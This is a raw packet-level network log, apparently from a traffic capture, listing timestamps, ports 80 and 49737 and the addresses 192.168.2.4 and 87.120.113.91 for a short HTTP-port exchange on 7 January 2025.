Jan 7, 2025 13:25:34.713829041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.713841915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.713874102 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.713881016 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.713881016 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.713892937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.713929892 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.724642992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724649906 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724657059 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724693060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724699020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724704981 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724710941 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.724736929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724745035 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.724792957 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.724816084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724822998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724828959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724872112 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.724874020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724915981 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.724931955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.724997997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725007057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725042105 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725075960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725084066 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725109100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725116014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725135088 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725157022 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725325108 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725339890 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725353956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725359917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725366116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725372076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725378990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725390911 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725418091 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725509882 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725517035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725522995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725528955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725543022 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725547075 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725559950 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725573063 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725591898 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725761890 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725769043 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725784063 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725805044 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.725831032 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725836992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725848913 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725856066 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.725892067 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.726017952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726025105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726032019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726037979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726043940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726072073 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.726089954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726094961 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.726095915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726138115 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.726304054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726310968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726317883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726351023 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.726377964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726383924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726397038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726403952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726422071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726427078 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.726458073 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.726490021 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726497889 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726509094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.726540089 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.746732950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746784925 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.746814013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746824026 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746826887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746833086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746860027 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746865034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746870041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746886015 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.746916056 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.746943951 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746978998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746984005 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.746995926 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747026920 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747087002 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747149944 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747153044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747159958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747172117 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747205019 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747236013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747241974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747256041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747263908 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747283936 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747338057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747344971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747356892 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747373104 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747394085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747400045 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747409105 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747442007 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747589111 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747603893 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747610092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747668982 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747772932 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747778893 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747792959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747826099 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747838020 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747864008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747869968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747875929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747881889 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747888088 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747894049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.747910976 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.747936010 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.806770086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806780100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806787968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806823015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806834936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806842089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806854963 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.806902885 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.806926966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806932926 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806945086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806951046 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.806988955 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.807068110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807075024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807085991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807090998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807097912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807107925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807115078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807118893 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.807121992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807127953 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807138920 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.807157993 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.807208061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807215929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.807255030 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.815645933 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815697908 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815705061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815710068 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.815738916 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.815761089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815773010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815779924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815805912 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.815825939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815831900 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815838099 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815872908 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.815907001 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815912962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815918922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815924883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.815944910 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.815962076 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816080093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816092014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816097975 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816103935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816109896 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816123009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816128969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816131115 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816135883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816165924 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816184044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816186905 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816236973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816241980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816248894 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816253901 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816267014 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816297054 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816461086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816466093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816478968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816524982 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816601038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816606998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816627026 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816632986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816642046 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816656113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816659927 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816675901 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816698074 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816817999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816823959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816834927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816842079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816848993 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816859961 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816865921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816874027 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816889048 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816915035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816920996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816932917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.816957951 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.816963911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817025900 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817032099 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817044973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817050934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817079067 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.817100048 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.817153931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817158937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817171097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817177057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817183971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817193985 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.817194939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.817219973 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.837541103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837570906 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837580919 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837626934 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.837646008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837652922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837687969 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.837713003 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837718964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837737083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837743998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837765932 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.837784052 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.837896109 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837902069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837913990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837920904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837928057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837939978 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837944984 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.837948084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837965965 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.837991953 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.837999105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838031054 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.838031054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838037968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838051081 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838077068 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.838160992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838166952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838172913 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838180065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838186026 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838191986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838203907 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838222027 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.838229895 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.838291883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838298082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838310003 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838342905 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.838489056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838495970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838510036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838514090 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.838536978 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.838567972 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.894731998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894742966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894750118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894756079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894762039 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894768000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894787073 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894792080 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894798994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894804955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894804001 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.894810915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894817114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894829988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894838095 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894860983 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.894881964 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.894968033 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894974947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894987106 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.894993067 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.895019054 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.895044088 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.895092010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.895098925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.895113945 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.895118952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.895142078 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.895162106 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906034946 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906100988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906106949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906120062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906132936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906141996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906153917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906160116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906161070 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906194925 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906214952 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906240940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906336069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906342983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906354904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906361103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906375885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906382084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906383038 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906411886 CET	49737	80	192.168.2.4	87.120.113.91
